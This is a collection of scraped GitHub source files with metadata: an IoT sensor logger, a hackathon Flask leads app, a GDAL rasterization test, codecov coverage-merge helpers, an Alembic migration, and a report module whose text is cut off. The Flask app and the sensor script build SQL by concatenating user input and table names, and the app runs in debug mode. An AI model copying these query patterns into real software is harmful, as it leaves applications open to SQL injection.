jps = int(jumlah_pengecekan)\r\n    wps = int(lama_pengecekan)\r\n    nilai_max = jps\r\n    while nilai < nilai_max:\r\n        temperature_p = str(random.randint(10, 37))\r\n        t_end = time.time() + 60 * wps\r\n        v = 0\r\n        tbl_set_data = []\r\n\r\n        while time.time() < t_end:\r\n            print(\"-----\")\r\n            v += 1\r\n\r\n        waktu = str(datetime.now())\r\n        set_data = id_p, waktu, temperature_p\r\n        tbl_set_data.append(set_data)\r\n        sq = \"insert into \"+pilih_tabel +\" (id_Penyimpanan,Waktu,Temperature) values (%s,%s,%s)\"\r\n        inpt = cursor.executemany(sq, tbl_set_data)\r\n        print(\"Data Pengecekan Berhasil\", tbl_set_data)\r\n\r\n        nilai += 1\r\n\r\n\r\n\r\n\r\ndatabase.commit()\r\ndatabase.close()\r\n", "repo_name": "rosaauralia/IOT11_KELOMPOK3", "sub_path": "sensor.py", "file_name": "sensor.py", "file_ext": "py", "file_size_in_byte": 2667, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "MySQLdb.connect", "line_number": 8, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 54, "usage_type": "call"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}, {"api_name": "time.time", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 63, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 81, "usage_type": "call"}, {"api_name": "time.time", "line_number": 82, "usage_type": "call"}, {"api_name": "time.time", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "name"}]}
{"seq_id": "10844761262", "text": "import requests\nimport sqlite3\nimport inspect, os\n\nfrom flask import Flask, render_template, request, g\nfrom flask.ext.mail import Mail, Message\nfrom pygeocoder import Geocoder\n\napp = Flask(__name__)\napp.config.update(dict(\n    DEBUG = True,\n    MAIL_SERVER = 'smtp.sendgrid.net',\n    MAIL_PORT = 587,\n    MAIL_USE_TLS = True,\n    MAIL_USE_SSL = False,\n    MAIL_USERNAME = '',\n    MAIL_PASSWORD = '',\n))\n\nmail = Mail(app)\n\nimport csv\ndef csv_to_list(file_path):\n\tdatafile = open(file_path, 'r')\n\tdatareader = csv.reader(datafile)\n\tdata = []\n\tfor row in datareader:\n\t\tdata.append(row)\n\treturn data\n\napp.database = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) + '/abcproject.db'\ndef connect_to_database():\n\treturn sqlite3.connect(app.database)\n\n@app.route(\"/\")\ndef main():\n\treturn render_template('index.html')\n\nimport ast\n@app.route('/email_dump/<leads>', methods=['GET', 'POST'])\n@app.route('/email_dump/', defaults={'leads': None}, methods=['GET', 'POST'])\ndef email_dump(leads):\n\n\tjobdict = {\n\t\t'Food Wholesaler': ('1'),\n\t\t'Restaurant Supply Company': ('1', '2', '4', '6'),\n\t\t'HVAC Company/Refrigeration Supply': ('2', '3'),\n\t\t'Pharmacy': ('5'),\n\t\t'Construction Company': ('11', '26', '34', '35', '36', '37', '38'),\n\t\t'Electrician': ('2', '17', '22', '36'),\n\t\t'Staffing Agency': ('21', '23', '27', '31', '33', '41', '42', '44', '70'),\n\t\t'Appliance Repair Company': ('2', '3'),\n\t\t'Property Management Company': ('19'),\n\t\t'Waste Management Company': ('19','20'),\n\t\t'Pest Control Company': ('18','23'),\n\t\t'Plumbing Company': ('7', '9', '10', '11', '12', '22', '24', '26', '27', '38')\n\t}\n\n\tif request.method == 'POST':\n\t\tsubject = {}\n\t\tfor field in request.form:\n\t\t\tsubject[field] = request.form[field]\n\tg.db = connect_to_database()\n\n\tmain_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n\n\t# licenses = csv_to_list(main_dir + '/Licenses.csv')\n\n\t# violations = csv_to_list(main_dir + '/Food_Inspections.csv')\n\n\t# result = []\n\n\t# codelist = jobdict[subject['occupation']]\n\n\t# bizlist = []\n\t# i = 0\n\t# while len(bizlist) < 10:\n\t# \tif licenses[i][1] == subject['zipcode']:\n\t# \t\tbizlist = bizlist.append(licenses[i])\n\n\t# loop through unique license list\n\t\t# only take businesses that match zip\n\t\t# stop at 10\n\n\t# result = []\n\t# for biz in bizlist:\n\t# \tprint 'biz is' + biz\n\t# \tfor violation in violations:\n\t# \t\tprint violation + 'for ' + biz\n\t# \t\tif biz[0] == violation[1] and biz[1] == violation[5]:\n\t# \t\t\tcomments = violation[6].rsplit('|')\n\t# \t\t\tbizcomments = []\n\t# \t\t\tfor comment in comments:\n\t# \t\t\t\tif comment.strip()[0:2].rstrip('.') in jobdict:\n\t# \t\t\t\t\tprint 'writing comment'\n\t# \t\t\t\t\tbizcomments = bizcomments.append(comment[comment.find('Comments:')+9:].strip())\n\t# \tresult = result.append([biz[3]+\" - \"+biz[2],bizcomments])\n\n\t# print result\n\n\t# load ordered list\n\t\t# loop through rows, take comments that match jobdict\n\n\n\t# for row in violations:\n\n\t# \tif violation[9] == \"\":\n\t# \t\tzipcode = Geocoder.geocode(violation[6] + 'CHICAGO IL')[0].postal_code\n\t# \telse:\n\t# \t\tzipcode = violation[9]\n\n\t# \tbusiness = [\n\t# \t\tviolation[0],\n\t# \t\tviolation[3],\n\t# \t\tviolation[6] + 'CHICAGO IL',\n\t# \t\tzipcode, violation[4]\n\t# \t]\n\n\t# \tcomments = violation[13].rsplit('|')\n\t# \t# [\n\t# \t# \tviolation[3],\n\t# \t# \tviolation[10][0:violations[0][10].find('T')],\n\t# \t# \tline[line.find('Comments:')+9:].strip(),\n\t# \t# \tline.strip()[0:2].rstrip('.'))\n\t# \t# ]\n\n\t# \tif violations[9] == subject['zipcode'] and violations[3] in codelist:\n\t# \t\tresult = result.apprend(violations[1] + ' - ' + violations[6] + ' CHICAGO IL')\n\n\ti = subject['zipcode']\n\tbusinessSQL = \"SELECT * FROM business WHERE zipcode = \" + str(i)\n\tbusinesses = g.db.execute(businessSQL).fetchall()\n\t# result = businesses\n\n\t# i = (subject['zipcode'].encode('ascii','ignore'),)\n\t# print i\n\t# tempbusinesses = g.db.execute(\"SELECT * FROM business WHERE zipcode='60609'\")#?\", i)\n\t# businesses = tempbusinesses.fetchall()\n\t# print businesses\n\n\t# violations = []\n\tj = jobdict[subject['occupation']]\n\tviolationsSQL = \"SELECT * FROM violations WHERE violationnum IN \" + str(j)\n\tviolations = g.db.execute(violationsSQL).fetchall()\n\n\tresult = {}\n\n\tfor business in businesses:\n\t\tresult = [business]\n\n\t# result = []\n\t# businesses = [list(row) for row in businesses]\n\t# for biz in businesses:\n\t# \tresult.append(biz[0]+\" - \"+biz[2]+biz[3])\n\t# \tfor vio in violations:\n\t# \t\ttemp = vio[0]\n\t# \t\tif biz[1] == temp:\n\t# \t\t\tresult.append(\"  - \"+vio[2])\n\n\t# emailmess = \"\"\"\n\t# \t\t<table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\">\n\t# \t\t\t<tr>\n\t# \t\t\t\t<td bgcolor=\"#DF6060\" style=\"padding: 15px 15px 15px 15px;\">\n\t# \t\t\t\t</td>\n\t# \t\t\t</tr>\n\t# \t\t\t<tr>\n\t# \t\t\t\t<td bgcolor=\"#333\" style=\"text-align:center; color:white\">\n\t# \t\t\t\t\t<h1><strong>312</strong>LEADS</h1>\n\t# \t\t\t\t</td>\n\t# \t\t\t</tr>\n\t# \t\t\t<tr>\n\t# \t\t\t\t<td bgcolor=\"#333\" style=\"color:white; text-align:left; padding-left: 5%; padding-right: 5%; padding-bottom: 2%\">\"\"\"\n\n\t# for row in result:\n\t# \temailmess = emailmess + \"\"\"<p style=\"color:white\">\"\"\" + row + \"</p>\"\n\n\t# emailmess = emailmess + \"\"\"\t\t\t\t\t</td>\n\t# \t\t\t</tr>\n\t# \t\t\t<tr>\n\t# \t\t\t\t<td bgcolor=\"#333\" style=\"text-align:center; color:#999; padding: 15px 15px 15px 15px;\">\n\t# \t\t\t\t\tCreated at the MonkeyBars Open Build Hackathon\n\t# \t\t\t\t</td>\n\t# \t\t\t</tr>\n\t# \t\t</table>\n\t# \t\"\"\"\n\n\t# msg = Message(\"Your Leads\", sender=\"leads@312LEADS.com\",\n\t# \thtml=emailmess,\n\t# \trecipients=[subject['email']])\n\t# msg.body = ''.join(result)\n\t# mail.send(msg)\n\n\t# return render_template('thankyou.html')\n\treturn render_template('email_dump.html', leads=result)\n\nif __name__ == \"__main__\":\n\tapp.debug = True\n\tapp.run()\n", "repo_name": "adamyala/312LEADS", "sub_path": "__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 5596, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.ext.mail.Mail", "line_number": 20, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 31, "usage_type": "call"}, {"api_name": "inspect.getfile", "line_number": 31, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.g.db", "line_number": 63, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 63, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 65, "usage_type": "call"}, {"api_name": "inspect.getfile", "line_number": 65, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.g.db.execute", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.g.db", "line_number": 132, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 132, "usage_type": "name"}, {"api_name": "flask.g.db.execute", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.g.db", "line_number": 144, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 144, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 194, "usage_type": "call"}]}
{"seq_id": "14528199842", "text": "from uafgi import cdoutil\nimport subprocess\nimport netCDF4\nfrom osgeo import ogr,gdal\nimport numpy as np\n\n#shapefile = 'data/calfin/domain-termini-closed/termini_1972-2019_Rink-Gletsjer_closed_v1.0.shp'\n#shapefile = 'retreated_advret.shp'\n#shapefile = 'data/calfin/domain-termini-closed/termini_1972-2019_Rink-Gletsjer_closed_v1.0.shp'\nshapefile = 'oneshape.shp'\ngridfile = 'outputs/W71.65N-grid.nc'\n\nfb = cdoutil.FileBounds(gridfile)\nprint('xx ',fb.x0,fb.x1,fb.y0,fb.y1)\nprint('dxy', fb.dx, fb.dy)\n\n\nwith netCDF4.Dataset(gridfile) as nc:\n    sgeotransform = nc.variables['polar_stereographic'].GeoTransform\nprint('geotransform \"{}\"'.format(sgeotransform))\ngeotransform = tuple(float(x) for x in sgeotransform.split(' ') if len(x) > 0)\n\n\n\n\nmaskvalue = 1\n\nsrc_ds = ogr.Open(shapefile)\nsrc_lyr=src_ds.GetLayer()   # Put layer number or name in her\n\ndst_ds = gdal.GetDriverByName('MEM').Create('', int(fb.nx), int(fb.ny), 1 ,gdal.GDT_Byte)\n#dst_ds = gdal.GetDriverByName('netCDF').Create('x.nc', fb.nx, fb.ny, 1 ,gdal.GDT_Byte)\ndst_rb = dst_ds.GetRasterBand(1)\ndst_rb.Fill(0) #initialise raster with zeros\ndst_rb.SetNoDataValue(0)\ndst_ds.SetGeoTransform(geotransform)\n\nerr = gdal.RasterizeLayer(dst_ds, [1], src_lyr, burn_values=[maskvalue])\nprint('err ',err)\n\ndst_ds.FlushCache()\n\nmask_arr=dst_ds.GetRasterBand(1).ReadAsArray()\n\nprint(np.sum(np.sum(mask_arr)))\nprint(mask_arr.shape)\n\n\n\n\n\n#layer_name = 'termini_1972-2019_Rink-Gletsjer_closed_v1.0'\n#\n## Do it\n#cmd = [str(x) for x in ['gdal_rasterize', '-add', '-burn', '1',\n#    '-a_srs', fb.crs,\n#    '-te', fb.x0,fb.y0,fb.x1,fb.y1,\n#    '-tr', fb.dx, fb.dy,\n#    '-l', layer_name,\n#    shapefile, 'y.nc']]\n#print(cmd)\n#subprocess.run(cmd, check=True)\n", "repo_name": "pism/greenland_calving", "sub_path": "obsolete/not_checked_in/rtest1.py", "file_name": "rtest1.py", "file_ext": "py", "file_size_in_byte": 1701, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "uafgi.cdoutil.FileBounds", "line_number": 13, "usage_type": "call"}, {"api_name": "uafgi.cdoutil", "line_number": 13, "usage_type": "name"}, {"api_name": "netCDF4.Dataset", "line_number": 18, "usage_type": "call"}, {"api_name": "osgeo.ogr.Open", "line_number": 28, "usage_type": "call"}, {"api_name": "osgeo.ogr", "line_number": 28, "usage_type": "name"}, {"api_name": "osgeo.gdal.GetDriverByName", "line_number": 31, "usage_type": "call"}, {"api_name": "osgeo.gdal", "line_number": 31, "usage_type": "name"}, {"api_name": "osgeo.gdal.GDT_Byte", "line_number": 31, "usage_type": "attribute"}, {"api_name": "osgeo.gdal.RasterizeLayer", "line_number": 38, "usage_type": "call"}, {"api_name": "osgeo.gdal", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "17822919781", "text": "from collections import defaultdict\nfrom enum import IntEnum\nfrom fractions import Fraction\nfrom itertools import groupby\nfrom typing import List, Optional, Sequence\n\nfrom shared.reports.types import CoverageDatapoint, LineSession, ReportLine\n\n\ndef merge_all(coverages, missing_branches=None):\n    if len(coverages) == 1:\n        return coverages[0]\n\n    cov = coverages[0]\n    for _ in coverages[1:]:\n        cov = merge_coverage(cov, _, missing_branches)\n    return cov\n\n\ndef merge_branch(b1, b2):\n    if b1 == b2:  # 1/2 == 1/2\n        return b1\n    if b1 == -1 or b2 == -1:\n        return -1\n    if isinstance(b1, int) and not isinstance(b1, bool) and b1 > 0:\n        return b1\n    if isinstance(b2, int) and not isinstance(b2, bool) and b2 > 0:\n        return b2\n    if b1 in (0, None, True):\n        return b2\n    if b2 in (0, None, True):\n        return b1\n    if isinstance(b1, list):\n        return b1\n    if isinstance(b2, list):\n        return b2\n    br1, br2 = b1.split(\"/\", 1)\n    if br1 == br2:  # equal 1/1\n        return b1\n    br3, br4 = b2.split(\"/\", 1)\n    if br3 == br4:  # equal 1/1\n        return b2\n    # return the greatest found\n    return \"%s/%s\" % (\n        br1 if int(br1) > int(br3) else br3,\n        br2 if int(br2) > int(br4) else br4,\n    )\n\n\ndef merge_partial_line(p1, p2):\n    if not p1 or not p2:\n        return p1 or p2\n\n    np = p1 + p2\n    if len(np) == 1:\n        # one result already\n        return np\n\n    fl = defaultdict(list)\n    [\n        [fl[x].append(_c) for x in range(_s or 0, _e + 1)]\n        for _s, _e, _c in np\n        if _e is not None\n    ]\n    ks = list(fl.keys())\n    mx = max(ks) + 1 if ks else 0\n    # appends coverage on each column when [X, None, C]\n    [[fl[x].append(_c) for x in range(_s or 0, mx)] for _s, _e, _c in np if _e is None]\n    ks = list(fl.keys())\n    # fl = {1: [1], 2: [1], 4: [0], 3: [1], 5: [0], 7: [0], 8: [0]}\n    pp = []\n    append = pp.append\n    for cov, group in groupby(\n        sorted([(cl, max(cv)) for cl, cv in list(fl.items())]), lambda c: c[1]\n    ):\n        group = list(group)\n        append(_ifg(group[0][0], group[-1][0], cov))\n\n    # never ends\n    if [[max(ks), None, _c] for _s, _e, _c in np if _e is None]:\n        pp[-1][1] = None\n\n    return pp\n\n\ndef merge_coverage(l1, l2, branches_missing=True):\n    if l1 is None or l2 is None:\n        return l1 if l1 is not None else l2\n\n    elif l1 == -1 or l2 == -1:\n        # ignored line\n        return -1\n\n    l1t = cast_ints_float(l1)\n    l2t = cast_ints_float(l2)\n\n    if isinstance(l1t, (float, Fraction)) and isinstance(l2t, (float, Fraction)):\n        return l1 if l1 >= l2 else l2\n\n    elif isinstance(l1t, str) or isinstance(l2t, str):\n        if isinstance(l1t, float):\n            # using or here because if l1 is 0 return l2\n            # this will trigger 100% if l1 is > 0\n            branches_missing = [] if l1 else False\n            l1 = l2\n\n        elif isinstance(l2t, float):\n            branches_missing = [] if l2 else False\n\n        if branches_missing == []:\n            # all branches were hit, no need to merge them\n            l1 = l1.split(\"/\")[-1]\n            return \"%s/%s\" % (l1, l1)\n\n        elif isinstance(branches_missing, list):\n            # we know how many are missing\n            target = int(l1.split(\"/\")[-1])\n            bf = target - len(branches_missing)\n            return \"%s/%s\" % (bf if bf > 0 else 0, target)\n\n        return merge_branch(l1, l2)\n\n    elif isinstance(l1t, list) and isinstance(l2t, list):\n        return merge_partial_line(l1, l2)\n\n    elif isinstance(l1t, bool) or isinstance(l2t, bool):\n        return (l2 or l1) if isinstance(l1t, bool) else (l1 or l2)\n\n    return merge_coverage(\n        partials_to_line(l1) if isinstance(l1t, list) else l1,\n        partials_to_line(l2) if isinstance(l2t, list) else l2,\n    )\n\n\ndef merge_missed_branches(sessions):\n    \"\"\"returns\n    None: if there is no branch data provided\n    []: list of missing branches\n    \"\"\"\n    if sessions:\n        if [1 for s in sessions if s.branches is not None] == []:\n            # no branch data provided in any session\n            return None\n\n        # missing branches or fulfilled if type=hit else not applicable\n        mb = [\n            s.branches\n            if s.branches is not None\n            else ([] if line_type(s.coverage) == 0 else None)\n            for s in sessions\n            if s\n        ]\n\n        # one of the sessions collected all the branches\n        if [] in mb:\n            return []\n\n        else:\n            # missing branches, remove \"None\"s\n            mb = [_f for _f in mb if _f]\n            # # no branch data provided\n            # if not mb:\n            #     return []\n\n            # we only have one missing branches data\n            if len(mb) == 1:\n                return mb[0]\n\n            else:\n                # combine the branches\n                mb = list(map(set, mb))\n                m1 = mb.pop(0)\n                for m in mb:\n                    m1 = m1 & m\n                return list(m1)\n\n\ndef merge_line(l1, l2, joined=True):\n    if not l1 or not l2:\n        return l1 or l2\n\n    # merge sessions\n    sessions = _merge_sessions(list(l1.sessions or []), list(l2.sessions or []))\n\n    return ReportLine.create(\n        type=l1.type or l2.type,\n        coverage=get_coverage_from_sessions(sessions) if joined else l1.coverage,\n        complexity=get_complexity_from_sessions(sessions) if joined else l1.complexity,\n        sessions=sessions,\n        messages=merge_messages(l1.messages, l2.messages),\n        datapoints=merge_datapoints(l1.datapoints, l2.datapoints),\n    )\n\n\ndef merge_messages(m1, m2):\n    pass\n\n\ndef merge_datapoints(\n    d1: Optional[List[CoverageDatapoint]], d2: Optional[List[CoverageDatapoint]]\n):\n    if d1 is None and d2 is None:\n        return None\n    # Remove duplicates\n    # str(dp) -> dp\n    index_of_dps = dict()\n    both_lists = filter(None, (d1 or []) + (d2 or []))\n    for dp in both_lists:\n        key = str(dp)\n        index_of_dps[key] = dp\n    dps_no_duplicates = index_of_dps.values()\n    # the sorting doesn't really matter how as long as it is a consistent thing\n    return sorted(\n        dps_no_duplicates,\n        key=lambda x: x.key_sorting_tuple(),\n    )\n\n\ndef merge_line_session(s1, s2):\n    s1b = s1.branches\n    s2b = s2.branches\n    if s1b is None and s2b is None:\n        # all are None, so return None\n        mb = None\n    elif s1b is None:\n        if line_type(s1.coverage) == 0:\n            # s1 was a hit, so we have no more branches to get\n            mb = []\n        else:\n            mb = s2b\n    elif s2b is None:\n        if line_type(s2.coverage) == 0:\n            # s2 was a hit, so we have no more branches to get\n            mb = []\n        else:\n            mb = s1b\n    else:\n        mb = list(set(s1b or []) & set(s2b or []))\n\n    s1p = s1.partials\n    s2p = s2.partials\n    partials = None\n    if s1p or s2p:\n        if s1p is None or s2p is None:\n            partials = s1p or s2p\n        else:\n            # list + list\n            partials = sorted(s1p + s2p, key=lambda p: p[0])\n\n    return LineSession(\n        s1.id, merge_coverage(s1.coverage, s2.coverage, mb), mb, partials\n    )\n\n\ndef _merge_sessions(s1: Sequence[LineSession], s2: Sequence[LineSession]):\n    \"\"\"Merges two lists of different sessions into one\"\"\"\n    if not s1 or not s2:\n        return s1 or s2\n\n    s1k = set([s.id for s in s1])\n    s2k = set([s.id for s in s2])\n    same = s1k & s2k\n    if same:\n        s1 = dict([(s.id, s) for s in s1])\n        s2 = dict([(s.id, s) for s in s2])\n\n        # merge existing\n        for s in same:\n            s1[s] = merge_line_session(s1[s], s2.pop(s))\n\n        # add remaining new sessions\n        return list(s1.values()) + list(s2.values())\n\n    else:\n        s1.extend(s2)\n        return s1\n\n\ndef _ifg(s, e, c):\n    \"\"\"\n    s=start, e=end, c=coverage\n    Insures the end is larger then the start.\n    \"\"\"\n    return [s, e if e > s else s + 1, c]\n\n\ndef cast_ints_float(value):\n    \"\"\"\n    When doing a merge we'd like to convert all ints to floats. this method takes in a value and\n    converts it to flaot if type(value) is int\n    \"\"\"\n    return value if type(value) is not int else float(value)\n\n\nclass LineType(IntEnum):\n    skipped = -1\n    hit = 0\n    miss = 1\n    partial = 2\n\n\ndef line_type(line):\n    \"\"\"\n    -1 = skipped (had coverage data, but fixed out)\n    0 = hit\n    1 = miss\n    2 = partial\n    None = ignore (because it has messages or something)\n    \"\"\"\n    if line is True:\n        return LineType.partial\n    if isinstance(line, str):\n        return branch_type(line)\n    if line == -1:\n        return LineType.skipped\n    if line is False:\n        return None\n    if isinstance(line, Fraction):\n        if line == 0:\n            return LineType.miss\n        if line >= 1:\n            return LineType.hit\n        return LineType.partial\n    if line:\n        return LineType.hit\n    if line is not None:\n        return LineType.miss\n    return None\n\n\ndef branch_type(b):\n    \"\"\"\n    0 = hit\n    1 = miss\n    2 = partial\n    \"\"\"\n    if \"/\" not in b:\n        if int(b) == 0:\n            return LineType.miss\n        return LineType.hit\n    b1, b2 = tuple(b.split(\"/\", 1))\n    return (\n        LineType.hit if b1 == b2 else LineType.miss if b1 == \"0\" else LineType.partial\n    )\n\n\ndef partials_to_line(partials):\n    \"\"\"\n        | . . . . . |\n    in:   1 1 1 0 0\n    out: 1/2\n        | . . . . . |\n    in:   1 0 1 0 0\n    out: 2/4\n    \"\"\"\n    ln = len(partials)\n    if ln == 1:\n        return partials[0][2]\n    v = sum([1 for (sc, ec, hits) in partials if hits > 0])\n    return f\"{v}/{ln}\"\n\n\ndef get_complexity_from_sessions(sessions):\n    _type = type(sessions[0].complexity)\n    if _type is int:\n        return max([(s.complexity or 0) for s in sessions])\n    elif _type in (tuple, list):\n        return (\n            max([(s.complexity or (0, 0))[0] for s in sessions]),\n            max([(s.complexity or (0, 0))[1] for s in sessions]),\n        )\n\n\ndef get_coverage_from_sessions(sessions):\n    new_coverages = [s.coverage for s in sessions]\n    return merge_all(new_coverages, merge_missed_branches(sessions))\n", "repo_name": "codecov/shared", "sub_path": "shared/utils/merge.py", "file_name": "merge.py", "file_ext": "py", "file_size_in_byte": 10153, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 59, "usage_type": "call"}, {"api_name": "itertools.groupby", "line_number": 73, "usage_type": "call"}, {"api_name": "fractions.Fraction", "line_number": 97, "usage_type": "name"}, {"api_name": "shared.reports.types.ReportLine.create", "line_number": 185, "usage_type": "call"}, {"api_name": "shared.reports.types.ReportLine", "line_number": 185, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 200, "usage_type": "name"}, {"api_name": "shared.reports.types.CoverageDatapoint", "line_number": 200, "usage_type": "name"}, {"api_name": "shared.reports.types.LineSession", "line_number": 250, "usage_type": "call"}, {"api_name": "typing.Sequence", "line_number": 255, "usage_type": "name"}, {"api_name": "shared.reports.types.LineSession", "line_number": 255, "usage_type": "name"}, {"api_name": "enum.IntEnum", "line_number": 295, "usage_type": "name"}, {"api_name": "fractions.Fraction", "line_number": 318, "usage_type": "argument"}]}
{"seq_id": "41196859846", "text": "\"\"\"empty message\n\nRevision ID: 562783c5ea8f\nRevises: f6924a956897\nCreate Date: 2019-06-06 04:20:32.265498\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '562783c5ea8f'\ndown_revision = 'f6924a956897'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('performance', sa.Column('artist', sa.String(length=200), nullable=True))\n    op.add_column('performance', sa.Column('cover_url', sa.String(length=200), nullable=True))\n    op.add_column('performance', sa.Column('title', sa.String(length=200), nullable=False))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('performance', 'title')\n    op.drop_column('performance', 'cover_url')\n    op.drop_column('performance', 'artist')\n    # ### end Alembic commands ###\n", "repo_name": "KaushalSheth/smule-analytics", "sub_path": "migrations/versions/562783c5ea8f_.py", "file_name": "562783c5ea8f_.py", "file_ext": "py", "file_size_in_byte": 948, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 23, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op.drop_column", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 29, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 30, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 30, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 31, "usage_type": "name"}]}
{"seq_id": "3128504265", "text": "import boto3\nfrom csv import DictWriter\nfrom datetime import date, datetime, timedelta\nimport io\nfrom itertools import chain\nimport logging\nimport os\nfrom types import SimpleNamespace\n\nfrom logger import setup_logging, trap_exception\nsetup_logging()\n\nfrom account import Account\nfrom events import Events\nfrom key_value_store import KeyValueStore\nfrom metric import put_metric_data\n\n\n@trap_exception\ndef handle_record(event, context=None):\n    logging.debug(event)\n    record = Events.decode_spa_event(event)\n    save_record(record=record)\n    put_metrics(record=record)\n    return f\"[OK] {record.label}\"\n\n\ndef save_record(record):\n    stamp = datetime.utcnow().isoformat()\n    payload = record.payload\n    payload['stamp'] = stamp\n    account = payload.get('account', '-')\n    logging.info(f\"Remembering {record.label} for account '{account}'\")\n    logging.debug(record.payload)\n    records = get_table()\n    records.remember(hash=stamp[:10], range=stamp[11:], value=payload)\n\n\ndef put_metrics(record):\n    cost_center = Account.get_cost_center(record.payload)\n    logging.info(f\"Putting metric for {record.label} on cost center '{cost_center}'\")\n    put_metric_data(name='TransactionsByCostCenter',\n                    dimensions=[dict(Name='CostCenter', Value=cost_center),\n                                dict(Name='Environment', Value=Events.get_environment())])\n\n    label = get_dimension_label(record.payload)\n    logging.info(f\"Putting metric for {record.label} on label '{label}'\")\n    put_metric_data(name='TransactionsByLabel',\n                    dimensions=[dict(Name='Label', Value=label),\n                                dict(Name='Environment', Value=Events.get_environment())])\n\n\ndef get_dimension_label(record):\n    labels = {\n        'console-login': 'ConsoleLoginTransaction',\n        'on-boarding': 'OnBoardingTransaction',\n        'maintenance': 'MaintenanceTransaction',\n    }\n    return labels.get(record['transaction'], 'GenericTransaction')\n\n\n@trap_exception\ndef handle_monthly_report(event=None, context=None, day=None):\n    logging.info(\"Producing activity reports for previous month\")\n    day = day or date.today()\n    last_day_of_previous_month = day.replace(day=1) - timedelta(days=1)\n    reports = build_reports(records=get_records(last_day_of_previous_month))  # /!\\ memory-bound\n    for label, reporter in reports.items():\n        store_report(label, reporter.buffer.getvalue())\n    return \"[OK]\"\n\n\n@trap_exception\ndef handle_ongoing_report(event=None, context=None, day=None):\n    logging.info(\"Producing ongoing activity reports\")\n    reports = build_reports(records=get_records(day))  # /!\\ memory-bound\n    for label, reporter in reports.items():\n        store_report(label, reporter.buffer.getvalue())\n    return \"[OK]\"\n\n\ndef get_records(day=None):\n    store = get_table()\n    return chain(*[store.enumerate(hash) for hash in get_hashes(day)])\n\n\ndef get_hashes(day=None):\n    day = day or date.today()\n    return [day.replace(day=(x + 1)).isoformat()[:10] for x in range(day.day)]\n\n\ndef get_table():\n    return 